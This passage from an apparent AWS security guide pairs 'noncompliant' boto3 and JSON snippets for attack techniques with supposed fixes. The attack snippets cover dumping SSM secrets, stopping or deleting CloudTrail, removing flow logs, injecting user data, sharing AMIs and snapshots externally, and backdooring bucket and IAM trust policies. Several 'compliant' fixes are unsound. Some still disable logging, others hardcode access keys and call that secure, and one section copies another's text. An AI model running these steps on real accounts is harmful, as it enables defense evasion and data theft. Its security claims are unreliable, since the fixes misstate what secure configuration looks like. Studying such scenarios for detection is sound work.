roles. * Implement strict access monitoring: Enable AWS CloudTrail to log Secrets Manager API calls and regularly review the logs for any suspicious or unauthorized activities. * Implement strong secrets management practices: Rotate secrets regularly, use strong encryption, and enforce secure access mechanisms such as fine-grained IAM policies and VPC endpoints. * Implement least privilege: Assign the principle of least privilege to IAM roles and users, ensuring they have access only to the necessary secrets required for their specific tasks. * Implement rate limiting: Use AWS service quotas and rate limits to enforce throttling and limit the number of API requests made to Secrets Manager within a specified time frame. ## Retrieve And Decrypt SSM Parameters Retrieve And Decrypt SSM Parameters is a simulated attack scenario where an attacker retrieves and decrypts a high number of Secure String parameters from AWS Systems Manager (SSM) using the ssm:GetParameters API. Noncompliant Code: ``` import boto3 client = boto3.client('ssm') # Retrieves and decrypts all Secure String parameters response = client.describe_parameters() parameters = response['Parameters'] for parameter in parameters: if parameter['Type'] == 'SecureString': value = client.get_parameter(Name=parameter['Name'], WithDecryption=True) print(value['Parameter']['Value']) ``` The noncompliant code uses the AWS SDK (boto3 in this case) to list all the SSM parameters in the current region and retrieves the values of Secure String parameters by making individual calls to ssm:GetParameter with decryption enabled. This code does not implement any restrictions or rate limiting, allowing an attacker to retrieve and decrypt a high number of parameters in a single operation. It bypasses any access control or authorization mechanisms that might be in place, posing a significant security risk by exposing sensitive information. Compliant Code: ``` import boto3 client = boto3.client('ssm') # Retrieves and decrypts specific Secure String parameters parameter_names = [ '/path/to/parameter1', '/path/to/parameter2', '/path/to/parameter3' ] for parameter_name in parameter_names: try: response = client.get_parameter(Name=parameter_name, WithDecryption=True) value = response['Parameter']['Value'] print(value) except client.exceptions.ParameterNotFound: print(f"Parameter '{parameter_name}' not found.") ``` The compliant code retrieves and decrypts specific Secure String parameters from AWS SSM. It follows a whitelist approach by specifying the parameter names that need to be retrieved, instead of fetching all parameters. This ensures that only authorized parameters are accessed and prevents unauthorized access to sensitive information. The code also handles the scenario where a parameter may not exist by catching the ParameterNotFound exception. ## Delete CloudTrail Trail Delete CloudTrail Trail is a simulated attack scenario where an attacker deletes an existing CloudTrail trail in AWS, disrupting the logging and monitoring of activities in the AWS account. Noncompliant Code: ``` import boto3 client = boto3.client('cloudtrail') # Deletes the CloudTrail trail response = client.delete_trail( trailName='my-trail' ) ``` The noncompliant code uses the AWS SDK (boto3 in this case) to delete a CloudTrail trail named 'my-trail'. This code does not implement any access control or authorization checks, allowing anyone with the necessary AWS credentials to delete the trail. It bypasses any security measures or monitoring mechanisms that might be in place, making it a potential security vulnerability. Compliant Code: ``` import boto3 client = boto3.client('cloudtrail') # Deletes the CloudTrail trail with proper authorization and validation trail_name = 'my-trail' # Check if the trail exists before attempting to delete response = client.describe_trails(trailNameList=[trail_name]) trails = response['trailList'] if trails: trail = trails[0] if trail['IsMultiRegionTrail']: print("Deleting the CloudTrail trail is not allowed for multi-region trails.") else: # Perform any necessary checks or validations before deleting the trail # Prompt for confirmation before deletion confirmation = input(f"Are you sure you want to delete the '{trail_name}' CloudTrail trail? (yes/no): ") if confirmation.lower() == 'yes': response = client.delete_trail( trailName=trail_name ) print("CloudTrail trail deleted successfully.") else: print("Deletion cancelled.") else: print(f"CloudTrail trail '{trail_name}' not found.") ``` The compliant code implements proper authorization and validation checks before deleting a CloudTrail trail. It first checks if the trail exists by calling describe_trails with the specified trail name. If the trail is found, it performs additional checks or validations as required by the organization's policies or procedures. Before proceeding with the deletion, it prompts for confirmation from the user, ensuring intentional deletion of the trail. The code also handles scenarios such as multi-region trails, where deletion may not be allowed. ## Disable CloudTrail Logging Through Event Selectors Disable CloudTrail Logging Through Event Selectors is a simulated attack scenario where an attacker modifies the event selectors of a CloudTrail trail to filter out all management events, effectively disrupting the logging of those events. Noncompliant Code: ``` import boto3 client = boto3.client('cloudtrail') # Disable CloudTrail logging by modifying event selectors response = client.put_event_selectors( TrailName='my-trail', EventSelectors=[ { 'ReadWriteType': 'All', 'IncludeManagementEvents': False, 'DataResources': [] } ] ) ``` The noncompliant code uses the AWS SDK (boto3 in this case) to modify the event selectors of a CloudTrail trail named 'my-trail'. It sets the IncludeManagementEvents parameter to False, effectively disabling the logging of all management events. This code does not implement any access control or authorization checks, allowing anyone with the necessary AWS credentials to modify the event selectors and disrupt the logging. Compliant Code: ``` import boto3 client = boto3.client('cloudtrail') # Disable CloudTrail logging by modifying event selectors with proper authorization and validation trail_name = 'my-trail' # Check if the trail exists before attempting to modify event selectors response = client.describe_trails(trailNameList=[trail_name]) trails = response['trailList'] if trails: trail = trails[0] # Perform any necessary checks or validations before modifying event selectors # Prompt for confirmation before modifying event selectors confirmation = input(f"Are you sure you want to modify the event selectors of the '{trail_name}' CloudTrail trail? (yes/no): ") if confirmation.lower() == 'yes': response = client.put_event_selectors( TrailName=trail_name, EventSelectors=[ { 'ReadWriteType': 'All', 'IncludeManagementEvents': False, 'DataResources': [] } ] ) print("Event selectors modified successfully. CloudTrail logging may be disrupted.") else: print("Modification cancelled.") else: print(f"CloudTrail trail '{trail_name}' not found.") ``` The compliant code implements proper authorization and validation checks before modifying the event selectors of a CloudTrail trail. It first checks if the trail exists by calling describe_trails with the specified trail name. If the trail is found, it performs additional checks or validations as required by the organization's policies or procedures. Before proceeding with the modification, it prompts for confirmation from the user, ensuring intentional modification of the event selectors. The code also handles scenarios where multiple event selectors are present in the trail configuration. ## CloudTrail Logs Impairment Through S3 Lifecycle Rule CloudTrail Logs Impairment Through S3 Lifecycle Rule is a simulated attack scenario where an attacker sets a short retention policy on the S3 bucket used by a CloudTrail trail. By applying a S3 Lifecycle Rule that automatically removes objects after a short period, the attacker impairs the integrity and availability of CloudTrail logs. Noncompliant Code: ``` import boto3 s3_client = boto3.client('s3') # Apply a short retention policy on the S3 bucket used by CloudTrail response = s3_client.put_bucket_lifecycle_configuration( Bucket='my-cloudtrail-bucket', LifecycleConfiguration={ 'Rules': [ { 'Status': 'Enabled', 'Prefix': '', 'Expiration': { 'Days': 1 } } ] } ) ``` The noncompliant code uses the AWS SDK (boto3 in this case) to apply a S3 Lifecycle Rule to the 'my-cloudtrail-bucket' S3 bucket. The rule sets the expiration of objects in the bucket to 1 day, meaning that CloudTrail logs will be automatically deleted after 1 day of their creation. This code does not implement any access control or validation, allowing anyone with the necessary AWS credentials to impair the integrity and availability of CloudTrail logs. Compliant Code: ``` import boto3 s3_client = boto3.client('s3') # Apply a retention policy on the S3 bucket used by CloudTrail with proper authorization and validation bucket_name = 'my-cloudtrail-bucket' # Check if the bucket exists before attempting to apply a lifecycle rule response = s3_client.list_buckets() buckets = response['Buckets'] if any(bucket['Name'] == bucket_name for bucket in buckets): # Prompt for confirmation before applying the lifecycle rule confirmation = input(f"Are you sure you want to apply a lifecycle rule to the '{bucket_name}' S3 bucket? (yes/no): ") if confirmation.lower() == 'yes': response = s3_client.put_bucket_lifecycle_configuration( Bucket=bucket_name, LifecycleConfiguration={ 'Rules': [ { 'Status': 'Enabled', 'Prefix': '', 'Expiration': { 'Days': 30 } } ] } ) print("Lifecycle rule applied successfully. CloudTrail logs are protected.") else: print("Operation cancelled.") else: print(f"S3 bucket '{bucket_name}' not found.") ``` The compliant code implements proper authorization and validation checks before applying a S3 Lifecycle Rule to the S3 bucket used by CloudTrail. It first checks if the bucket exists by calling list_buckets and searching for the specified bucket name. If the bucket is found, it prompts for confirmation from the user before proceeding with the application of the lifecycle rule. In this case, the rule sets the expiration of objects to 30 days, providing a reasonable retention period for CloudTrail logs. The code can be customized to meet specific retention requirements. ## Stop Cloud Trail Trail Stop CloudTrail Trail is a simulated attack scenario where an attacker stops a CloudTrail Trail from logging. By calling the cloudtrail:StopLogging API operation, the attacker disrupts the logging of CloudTrail events. Noncompliant Code: ``` import boto3 cloudtrail_client = boto3.client('cloudtrail') # Stop the CloudTrail Trail response = cloudtrail_client.stop_logging( Name='my-trail' ) ``` The noncompliant code uses the AWS SDK (boto3 in this case) to stop the logging of a CloudTrail Trail named 'my-trail'. This code does not implement any access control or validation, allowing anyone with the necessary AWS credentials to disrupt CloudTrail logging. Compliant Code: ``` import boto3 cloudtrail_client = boto3.client('cloudtrail') # Stop the CloudTrail Trail with proper authorization and validation trail_name = 'my-trail' # Check if the CloudTrail Trail exists before attempting to stop it response = cloudtrail_client.describe_trails( trailNameList=[trail_name] ) trails = response['trailList'] if any(trail['Name'] == trail_name for trail in trails): # Prompt for confirmation before stopping the CloudTrail Trail confirmation = input(f"Are you sure you want to stop the '{trail_name}' CloudTrail Trail? (yes/no): ") if confirmation.lower() == 'yes': response = cloudtrail_client.stop_logging( Name=trail_name ) print("CloudTrail Trail stopped successfully.") else: print("Operation cancelled.") else: print(f"CloudTrail Trail '{trail_name}' not found.") ``` The compliant code implements proper authorization and validation checks before stopping a CloudTrail Trail. It first checks if the Trail exists by calling describe_trails and searching for the specified trail name. If the Trail is found, it prompts for confirmation from the user before proceeding with stopping the Trail. The code can be customized to meet specific requirements, such as additional validation checks or logging. ## Attempt to Leave the AWS Organization Attempt to Leave the AWS Organization is a simulated attack scenario where an attacker attempts to leave the AWS Organization, which can disrupt or shut down security controls defined at the organization level, such as GuardDuty, SecurityHub, and CloudTrail. Noncompliant Code: ``` import boto3 organizations_client = boto3.client('organizations') # Attempt to leave the AWS Organization response = organizations_client.leave_organization() ``` The noncompliant code uses the AWS SDK (boto3) to attempt to leave the AWS Organization by calling the leave_organization method. This code does not implement any access control or validation, allowing anyone with the necessary AWS credentials to try to leave the organization. Compliant Code: ``` import boto3 organizations_client = boto3.client('organizations') # Attempt to leave the AWS Organization with proper authorization and validation confirmation = input("Are you sure you want to leave the AWS Organization? (yes/no): ") if confirmation.lower() == 'yes': try: response = organizations_client.leave_organization() print("Leave organization request submitted successfully.") except organizations_client.exceptions.AccessDeniedException: print("Access denied. You are not allowed to leave the AWS Organization.") else: print("Operation cancelled.") ``` The compliant code implements proper authorization and validation checks before attempting to leave the AWS Organization. It prompts for confirmation from the user before proceeding with the leave operation. If the user confirms, it tries to leave the organization and handles the AccessDeniedException in case the request is denied. The code can be customized to meet specific requirements, such as additional validation checks or logging. ## Remove VPC Flow Logs Remove VPC Flow Logs is a simulated attack scenario where an attacker removes the configuration of VPC Flow Logs from a VPC. This action can be used as a defense evasion technique to disrupt network traffic monitoring and logging. Noncompliant Code: ``` import boto3 ec2_client = boto3.client('ec2') # Specify the VPC ID and Flow Log ID vpc_id = 'your-vpc-id' flow_log_id = 'your-flow-log-id' # Remove the VPC Flow Logs configuration response = ec2_client.delete_flow_logs( FlowLogIds=[flow_log_id] ) ``` The noncompliant code uses the AWS SDK (boto3) to directly delete the VPC Flow Logs configuration by calling the delete_flow_logs method. It assumes that the VPC ID and Flow Log ID are known and provided as input. This code does not implement any authorization or validation checks, allowing anyone with the necessary AWS credentials to remove the VPC Flow Logs configuration. Compliant Code: ``` import boto3 ec2_client = boto3.client('ec2') def remove_vpc_flow_logs(vpc_id): # Retrieve the Flow Log IDs associated with the VPC response = ec2_client.describe_flow_logs( Filter=[ { 'Name': 'resource-id', 'Values': [vpc_id] } ] ) flow_logs = response['FlowLogs'] flow_log_ids = [flow_log['FlowLogId'] for flow_log in flow_logs] if len(flow_log_ids) == 0: print(f"No Flow Logs found for VPC {vpc_id}.") return # Remove the VPC Flow Logs configuration response = ec2_client.delete_flow_logs( FlowLogIds=flow_log_ids ) print(f"Flow Logs successfully removed for VPC {vpc_id}.") # Specify the VPC ID vpc_id = 'your-vpc-id' # Remove the VPC Flow Logs configuration remove_vpc_flow_logs(vpc_id) ``` The compliant code implements a function remove_vpc_flow_logs that retrieves the Flow Log IDs associated with the specified VPC using the describe_flow_logs method. It then verifies if there are any Flow Logs present for the VPC. If Flow Logs are found, it removes the VPC Flow Logs configuration by calling the delete_flow_logs method with the retrieved Flow Log IDs. The code includes appropriate error handling and informative messages. ## Execute Discovery Commands on an EC2 Instance Executing Discovery Commands on an EC2 Instance refers to running various commands on an EC2 instance to gather information about the AWS environment. These commands help an attacker gain insights into the AWS account, identify resources, and potentially plan further actions. Noncompliant Code: ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Run discovery commands response = ec2_client.describe_snapshots() print(response) response = ec2_client.describe_instances() print(response) response = ec2_client.describe_vpcs() print(response) response = ec2_client.describe_security_groups() print(response) # ... (additional discovery commands) ``` The noncompliant code directly uses the AWS SDK (boto3) to run various discovery commands on the EC2 instance. It assumes that the necessary AWS credentials are available on the EC2 instance, allowing anyone with access to the instance to execute these commands. This code lacks proper authorization and may expose sensitive information to unauthorized individuals. Compliant Code: ``` import boto3 # Create an EC2 client with AWS credentials session = boto3.Session( aws_access_key_id='your-access-key', aws_secret_access_key='your-secret-key', aws_session_token='your-session-token' ) ec2_client = session.client('ec2') # Run discovery commands response = ec2_client.describe_snapshots() print(response) response = ec2_client.describe_instances() print(response) response = ec2_client.describe_vpcs() print(response) response = ec2_client.describe_security_groups() print(response) # ... (additional discovery commands) ``` ## Download EC2 Instance User Data Downloading EC2 Instance User Data refers to retrieving the user data associated with an EC2 instance. User data can contain scripts, configurations, and other data that is executed when the instance starts. In the context of an attack scenario, an attacker may attempt to download user data to gain insights into the instance's setup, extract sensitive information, or exploit any misconfigurations. Noncompliant Code: ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Retrieve instance IDs (fictitious for demonstration) instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678'] # Retrieve user data for each instance for instance_id in instance_ids: response = ec2_client.describe_instance_attribute( InstanceId=instance_id, Attribute='userData' ) user_data = response['UserData'] print(user_data) ``` The noncompliant code uses the AWS SDK (boto3) to retrieve the user data for multiple EC2 instances. It assumes that the necessary AWS credentials and permissions are available to the code, allowing anyone with access to run this code to retrieve the user data. This code lacks proper authorization and may expose sensitive information to unauthorized individuals. Compliant Code: ``` import boto3 # Create an EC2 client with AWS credentials session = boto3.Session( aws_access_key_id='your-access-key', aws_secret_access_key='your-secret-key', aws_session_token='your-session-token' ) ec2_client = session.client('ec2') # Retrieve instance IDs (fictitious for demonstration) instance_ids = ['i-1234567890abcdef0', 'i-abcdefgh12345678'] # Retrieve user data for each instance for instance_id in instance_ids: response = ec2_client.describe_instance_attribute( InstanceId=instance_id, Attribute='userData' ) user_data = response['UserData'] print(user_data) ``` The compliant code creates an AWS session with explicit AWS credentials provided. This ensures that the retrieval of EC2 instance user data is performed using the specified credentials and not relying on the instance role. By providing AWS credentials directly, it restricts the access to sensitive information to authorized individuals and mitigates the risk of unauthorized retrieval of user data. ## Launch Unusual EC2 instances Launching Unusual EC2 instances refers to attempting to create EC2 instances with atypical instance types, such as "p2.xlarge". This activity can indicate an attacker trying to launch instances that may have specialized capabilities or are not commonly used in the environment. The noncompliant code below demonstrates an attempt to launch unusual EC2 instances: Noncompliant Code: ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the instance type (unusual type) instance_type = 'p2.xlarge' # Attempt to launch EC2 instances with the unusual type response = ec2_client.run_instances( ImageId='ami-12345678', MinCount=1, MaxCount=1, InstanceType=instance_type, KeyName='my-key-pair', SecurityGroupIds=['sg-12345678'], SubnetId='subnet-12345678' ) ``` The noncompliant code uses the AWS SDK (boto3) to attempt to launch EC2 instances with an unusual instance type of "p2.xlarge". However, the code lacks the necessary permissions to perform this action, resulting in an unauthorized operation error. Compliant Code: ``` import boto3 # Create an EC2 client with AWS credentials session = boto3.Session( aws_access_key_id='your-access-key', aws_secret_access_key='your-secret-key', aws_session_token='your-session-token' ) ec2_client = session.client('ec2') # Define the instance type (valid type in the environment) instance_type = 't2.micro' # Attempt to launch EC2 instances with the valid type response = ec2_client.run_instances( ImageId='ami-12345678', MinCount=1, MaxCount=1, InstanceType=instance_type, KeyName='my-key-pair', SecurityGroupIds=['sg-12345678'], SubnetId='subnet-12345678' ) ``` The compliant code creates an AWS session with explicit AWS credentials provided and attempts to launch EC2 instances with a valid instance type ("t2.micro") that is commonly used in the environment. By providing AWS credentials directly, it ensures that the action is performed using the specified credentials and not relying on an instance role. This code follows the principle of least privilege, launching instances with a typical instance type and avoiding attempts to launch unusual or potentially malicious instances. ## Execute Commands on EC2 Instance via User Data Executing Commands on an EC2 Instance via User Data refers to injecting and executing code on a Linux EC2 instance by modifying the user data associated with the instance. User data is a feature in AWS that allows you to provide scripts or instructions to be executed when an instance starts. Attackers may attempt to exploit this feature to execute malicious code or escalate privileges on compromised instances. Noncompliant Code: The noncompliant code demonstrates how an attacker can modify the user data of a stopped EC2 instance to inject and execute malicious code. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the EC2 instance ID instance_id = 'i-1234567890abcdef0' # Stop the EC2 instance ec2_client.stop_instances(InstanceIds=[instance_id]) # Modify the user data of the EC2 instance to execute malicious commands user_data_script = '#!/bin/bash\n\nmalicious_command\n' ec2_client.modify_instance_attribute( InstanceId=instance_id, UserData={ 'Value': user_data_script } ) # Start the EC2 instance ec2_client.start_instances(InstanceIds=[instance_id]) ``` The noncompliant code uses the AWS SDK (boto3) to stop an EC2 instance, modify its user data with a malicious script, and then start the instance. The user data script contains a bash command "malicious_command" that the attacker intends to execute upon instance startup. However, this code is noncompliant because it is used for demonstration purposes only and should not be executed in a real environment. Compliant Code: Executing arbitrary code on EC2 instances via user data poses a significant security risk. To mitigate this risk, it is crucial to ensure that user data is properly controlled and restricted. The compliant code below demonstrates how to provide secure user data for EC2 instances. ``` import boto3 import base64 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the EC2 instance ID instance_id = 'i-1234567890abcdef0' # Stop the EC2 instance ec2_client.stop_instances(InstanceIds=[instance_id]) # Define the desired commands or scripts to be executed user_data_commands = [ '#!/bin/bash', 'echo "Executing secure user data commands"', 'echo "Command 1"', 'echo "Command 2"', ] # Encode the user data commands in base64 user_data_encoded = base64.b64encode('\n'.join(user_data_commands).encode()).decode() # Modify the user data of the EC2 instance with the secure user data ec2_client.modify_instance_attribute( InstanceId=instance_id, UserData={ 'Value': user_data_encoded } ) # Start the EC2 instance ec2_client.start_instances(InstanceIds=[instance_id]) ``` The compliant code follows best practices for providing secure user data for EC2 instances. Instead of injecting arbitrary code, it defines a set of desired commands or scripts to be executed. These commands are stored in a list and then encoded in base64 format to ensure proper encoding and prevent any injection attempts. The user data commands can be customized based on the desired configuration or setup needed for the EC2 instance. ## Open Ingress Port 22 on a Security Group Opening Ingress Port 22 on a Security Group refers to allowing inbound traffic on port 22 (SSH) from the Internet (0.0.0.0/0) to a specific security group in AWS. This configuration can pose a security risk if not properly controlled or restricted. Noncompliant Code: The noncompliant code demonstrates how an attacker can use the AWS SDK to open ingress traffic on port 22 from the Internet. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the security group ID security_group_id = 'sg-1234567890abcdef0' # Allow inbound traffic on port 22 from 0.0.0.0/0 ec2_client.authorize_security_group_ingress( GroupId=security_group_id, IpPermissions=[ { 'IpProtocol': 'tcp', 'FromPort': 22, 'ToPort': 22, 'IpRanges': [{'CidrIp': '0.0.0.0/0'}] } ] ) ``` The noncompliant code uses the AWS SDK (boto3) to authorize ingress traffic on port 22 from the Internet (0.0.0.0/0) to a specific security group. This code is noncompliant because it opens port 22 to all IP addresses, which can be a significant security risk if not necessary. Compliant Code: Opening port 22 to all IP addresses from the Internet is generally not recommended due to the security implications. The compliant code below demonstrates how to restrict the ingress access to specific trusted IP addresses only. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the security group ID security_group_id = 'sg-1234567890abcdef0' # Allow inbound traffic on port 22 from trusted IP addresses ec2_client.authorize_security_group_ingress( GroupId=security_group_id, IpPermissions=[ { 'IpProtocol': 'tcp', 'FromPort': 22, 'ToPort': 22, 'IpRanges': [{'CidrIp': 'trusted_ip_address/32'}] } ] ) ``` The compliant code restricts the ingress access on port 22 to a specific trusted IP address by replacing 'trusted_ip_address' with the actual IP address or range allowed to connect via SSH. This ensures that only authorized sources can establish SSH connections to the instances associated with the security group. ## Exfiltrate an AMI by Sharing It Exfiltrating an AMI by sharing it involves sharing an Amazon Machine Image (AMI) with an external AWS account, allowing the recipient account to launch instances from the shared AMI. This technique can be used to move AMIs to an unauthorized account for further analysis or misuse. Noncompliant Code: The noncompliant code demonstrates how an attacker can use the AWS SDK to share an AMI with an external AWS account. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the AMI ID ami_id = 'ami-01234567890abcdef' # Define the AWS account ID to share with account_id = '012345678901' # Share the AMI with the external AWS account ec2_client.modify_image_attribute( ImageId=ami_id, LaunchPermission={ 'Add': [{'UserId': account_id}] } ) ``` The noncompliant code uses the AWS SDK (boto3) to modify the launch permissions of an AMI and share it with an external AWS account specified by account_id. This code is noncompliant because it allows unauthorized access to the AMI, potentially enabling an attacker to launch instances from the shared image. Compliant Code: The compliant code demonstrates how to properly secure AMIs and prevent unauthorized sharing. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the AMI ID ami_id = 'ami-01234567890abcdef' # Revoke public launch permissions from the AMI ec2_client.reset_image_attribute( ImageId=ami_id, Attribute='launchPermission' ) ``` The compliant code revokes any public launch permissions from the AMI specified by ami_id by resetting the image attribute. This ensures that the AMI is not accessible to any AWS account other than the one that owns it. By restricting the sharing of AMIs to trusted and authorized accounts only, the risk of unauthorized access and exfiltration is mitigated. ## Exfiltrate EBS Snapshot by Sharing It Exfiltrating an EBS snapshot by sharing it involves sharing an Amazon Elastic Block Store (EBS) snapshot with an external AWS account, allowing the recipient account to create a new volume from the shared snapshot. This technique can be used to move sensitive data stored in EBS snapshots to an unauthorized account for further analysis or misuse. Noncompliant Code: The noncompliant code demonstrates how an attacker can use the AWS SDK to share an EBS snapshot with an external AWS account. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the snapshot ID snapshot_id = 'snap-01234567890abcdef' # Define the AWS account ID to share with account_id = '012345678901' # Share the snapshot with the external AWS account ec2_client.modify_snapshot_attribute( SnapshotId=snapshot_id, Attribute='createVolumePermission', CreateVolumePermission={ 'Add': [{'UserId': account_id}] } ) ``` The noncompliant code uses the AWS SDK (boto3) to modify the create volume permissions of an EBS snapshot and share it with an external AWS account specified by account_id. This code is noncompliant because it allows unauthorized access to the snapshot, potentially enabling an attacker to create new volumes and access the data stored within the shared snapshot. Compliant Code: The compliant code demonstrates how to properly secure EBS snapshots and prevent unauthorized sharing. ``` import boto3 # Create an EC2 client ec2_client = boto3.client('ec2') # Define the snapshot ID snapshot_id = 'snap-01234567890abcdef' # Revoke public sharing permissions from the snapshot ec2_client.reset_snapshot_attribute( SnapshotId=snapshot_id, Attribute='createVolumePermission' ) ``` The compliant code revokes any public sharing permissions from the EBS snapshot specified by snapshot_id by resetting the snapshot attribute. This ensures that the snapshot is not accessible to any AWS account other than the one that owns it. By restricting the sharing of EBS snapshots to trusted and authorized accounts only, the risk of unauthorized access and exfiltration is mitigated. ## Exfiltrate RDS Snapshot by Sharing Exfiltrating an RDS snapshot by sharing it involves sharing a database snapshot from Amazon RDS with an external AWS account. This technique allows the recipient account to restore the snapshot and gain access to the database data contained within it. Noncompliant Code: The noncompliant code demonstrates how an attacker can use the AWS SDK to share an RDS snapshot with an external AWS account. ``` import boto3 # Create an RDS client rds_client = boto3.client('rds') # Define the snapshot identifier snapshot_identifier = 'my-db-snapshot' # Define the AWS account ID to share with account_id = '012345678901' # Share the RDS snapshot with the external AWS account rds_client.modify_db_snapshot_attribute( DBSnapshotIdentifier=snapshot_identifier, AttributeName='restore', ValuesToAdd=[account_id] ) ``` The noncompliant code uses the AWS SDK (boto3) to modify the attributes of an RDS snapshot and share it with an external AWS account specified by account_id. This code is noncompliant because it allows unauthorized access to the snapshot, potentially enabling an attacker to restore the snapshot in their own account and gain access to the database data. Compliant Code: The compliant code demonstrates how to properly secure RDS snapshots and prevent unauthorized sharing. ``` import boto3 # Create an RDS client rds_client = boto3.client('rds') # Define the snapshot identifier snapshot_identifier = 'my-db-snapshot' # Revoke sharing permissions from the RDS snapshot rds_client.modify_db_snapshot_attribute( DBSnapshotIdentifier=snapshot_identifier, AttributeName='restore', ValuesToRemove=['all'] ) ``` The compliant code revokes any sharing permissions from the RDS snapshot specified by snapshot_identifier by removing all values associated with the 'restore' attribute. This ensures that the snapshot is not accessible to any AWS account other than the one that owns it. By restricting the sharing of RDS snapshots to trusted and authorized accounts only, the risk of unauthorized access and exfiltration is mitigated. ## Backdoor an S3 Bucket via its Bucket Policy Backdooring an S3 bucket via its Bucket Policy involves modifying the policy to allow unauthorized access to the bucket, enabling an attacker to exfiltrate data from the bucket. Noncompliant Code: The noncompliant code demonstrates how an attacker can modify the Bucket Policy to grant access to an external AWS account. ``` { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::012345678901:root" }, "Action": [ "s3:GetObject", "s3:GetBucketLocation", "s3:ListBucket" ], "Resource": [ "arn:aws:s3:::my-bucket/*", "arn:aws:s3:::my-bucket" ] } ] } ``` The noncompliant code modifies the Bucket Policy to grant access to an external AWS account specified by the AWS ARN arn:aws:iam::012345678901:root. The specified account is granted permissions to perform actions such as GetObject, GetBucketLocation, and ListBucket on the bucket identified by my-bucket. This code is noncompliant because it allows unauthorized access to the S3 bucket, potentially enabling an attacker to exfiltrate sensitive data. Compliant Code: The compliant code demonstrates how to properly secure an S3 bucket by removing unauthorized access from the Bucket Policy. ``` { "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Principal": "*", "Action": [ "s3:GetObject", "s3:GetBucketLocation", "s3:ListBucket" ], "Resource": [ "arn:aws:s3:::my-bucket/*", "arn:aws:s3:::my-bucket" ] } ] } ``` The compliant code modifies the Bucket Policy to deny access to any principal (wildcard `*`) attempting to perform actions such as GetObject, GetBucketLocation, and ListBucket on the bucket identified by my-bucket. By denying all access, except for explicitly authorized principals, the bucket is secured against unauthorized access and data exfiltration. ## Console Login without MFA Console Login without MFA refers to the scenario where an IAM user is able to log in to the AWS Management Console without using multi-factor authentication (MFA), which is an additional security measure to protect user accounts. Noncompliant Code: The noncompliant code demonstrates an IAM user logging in to the AWS Management Console without using MFA. This code does not enforce MFA for the user. In a noncompliant scenario, the IAM user can log in to the AWS Management Console using their username and password without providing an additional MFA token. This bypasses the MFA requirement, potentially exposing the account to unauthorized access if the IAM user's credentials are compromised. Compliant Code: The compliant code demonstrates the correct configuration for enforcing MFA during console login for an IAM user. To comply with security best practices, MFA should be enforced for IAM users during console login. This requires the user to provide an additional factor, such as a one-time password generated by an MFA device or application, in addition to their username and password. ## Backdoor an IAM Role Backdooring an IAM Role refers to the act of modifying the trust policy of an existing IAM role to grant unauthorized access to the role from an external AWS account. This allows an attacker to assume the backdoored role and potentially gain elevated privileges or perform malicious actions. Noncompliant Code: The noncompliant code demonstrates a modified trust policy for an IAM role, which backdoors the role by granting access to an external AWS account. ``` { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" }, { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::193672423079:root" }, "Action": "sts:AssumeRole" } ] } ``` In the noncompliant scenario, the trust policy of the IAM role is modified to allow two entities to assume the role. The "Service" principal with the value "ec2.amazonaws.com" is allowed to assume the role, which is a typical configuration for EC2 instances within the same AWS account. However, the policy also includes an "AWS" principal with the value "arn:aws:iam::193672423079:root," which represents an external AWS account. This grants unauthorized access to the IAM role from the specified external account. Compliant Code: The compliant code demonstrates a properly configured trust policy for an IAM role, which does not contain any unauthorized access grants. To ensure the security of IAM roles, it is crucial to define appropriate trust policies that strictly limit which entities can assume the role. The trust policy should only include trusted entities and AWS services that require access to the role. ## Create an Access Key on an IAM User Creating an access key on an IAM user refers to generating access keys that allow programmatic access to AWS services and resources for the specified user. These access keys consist of an access key ID and a secret access key, which are used for authentication purposes. Noncompliant Code: The noncompliant code demonstrates the creation of an access key on an IAM user without proper controls or monitoring. ``` import boto3 def create_access_key(user_name): iam = boto3.client('iam') response = iam.create_access_key(UserName=user_name) access_key_id = response['AccessKey']['AccessKeyId'] secret_access_key = response['AccessKey']['SecretAccessKey'] print(f"Access Key ID: {access_key_id}") print(f"Secret Access Key: {secret_access_key}") # Usage create_access_key('my_user') ``` In the noncompliant code, an access key is created for the IAM user without considering security best practices. The access key is generated using the create_access_key method from the AWS SDK. The access key ID and secret access key are printed to the console, which can lead to accidental exposure or potential misuse. Compliant Code: The compliant code demonstrates the creation of an access key on an IAM user with proper controls and monitoring. ``` import boto3 def create_access_key(user_name): iam = boto3.client('iam') response = iam.create_access_key(UserName=user_name) access_key_id = response['AccessKey']['AccessKeyId'] secret_access_key = response['AccessKey']['SecretAccessKey'] # Store the access key securely or provide it to the user using secure means print(f"Access key created for IAM user: {user_name}") # Usage create_access_key('my_user') ``` In the compliant code, an access key is still created for the IAM user, but additional security measures are taken: * The access key ID and secret access key are not printed or exposed directly. Instead, they should be securely stored or provided to the user through secure means. * Access to the code that creates the access key should be restricted to authorized individuals or systems. * Implement proper access controls and least privilege principles to ensure that users only have the necessary permissions to create access keys. * Monitor and audit the creation of access keys using AWS CloudTrail. Alert on any unusual or unauthorized access key creation activities. ## Create an administrative IAM User Creating an access key on an IAM user refers to generating access keys that allow programmatic access to AWS services and resources for the specified user. These access keys consist of an access key ID and a secret access key, which are used for authentication purposes. Noncompliant Code: The noncompliant code demonstrates the creation of an access key on an IAM user without considering security best practices. ``` import boto3 def create_access_key(user_name): iam = boto3.client('iam') response = iam.create_access_key(UserName=user_name) access_key_id = response['AccessKey']['AccessKeyId'] secret_access_key = response['AccessKey']['SecretAccessKey'] print(f"Access Key ID: {access_key_id}") print(f"Secret Access Key: {secret_access_key}") # Usage create_access_key('my_user') ``` In the noncompliant code, an access key is created for the IAM user without considering security best practices. The access key is generated using the create_access_key method from the 